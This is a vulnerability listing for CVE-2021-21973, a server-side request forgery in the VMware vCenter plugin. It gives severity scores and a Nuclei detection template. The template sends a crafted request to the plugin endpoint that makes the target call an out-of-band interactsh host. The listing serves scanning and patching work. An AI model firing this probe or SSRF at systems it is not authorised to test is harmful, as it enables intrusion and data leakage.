VMware vSphere - Server-Side Request Forgery

2022-01-2710:20:44

ProjectDiscovery

github.com

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5.7 Medium

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.159 Low

EPSS

Percentile

95.9%

JSON

VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).

id: CVE-2021-21973

info:
  name: VMware vSphere - Server-Side Request Forgery
  author: pdteam
  severity: medium
  description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://twitter.com/osama_hroot/status/1365586206982082560
    - https://twitter.com/bytehx343/status/1486582542807420928
    - https://www.vmware.com/security/advisories/VMSA-2021-0002.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21973
    - https://github.com/soosmile/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-21973
    cwe-id: CWE-918
    epss-score: 0.15857
    epss-percentile: 0.95819
    cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: cloud_foundation
  tags: cve2021,cve,vmware,ssrf,vcenter,oast,kev

http:
  - raw:
      - |
        GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
        Host: {{Hostname}}
        Vcip: {{interactsh-url}}
        Vcpassword: {{rand_base(6)}}
        Vcusername: {{rand_base(6)}}
        Reqresource: {{rand_base(6)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "The server sent HTTP status code 200"

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100ae2879749b829379356f96d31e87b9cf69c38a5cfaa4b2d70b07eb82ec9956a00221009d3d4e7ffba84fe659bf8dd0e6d42388727c2eef535df5f9b7f7f563595a54a9:922c64590222798bb761d5b6d8e72950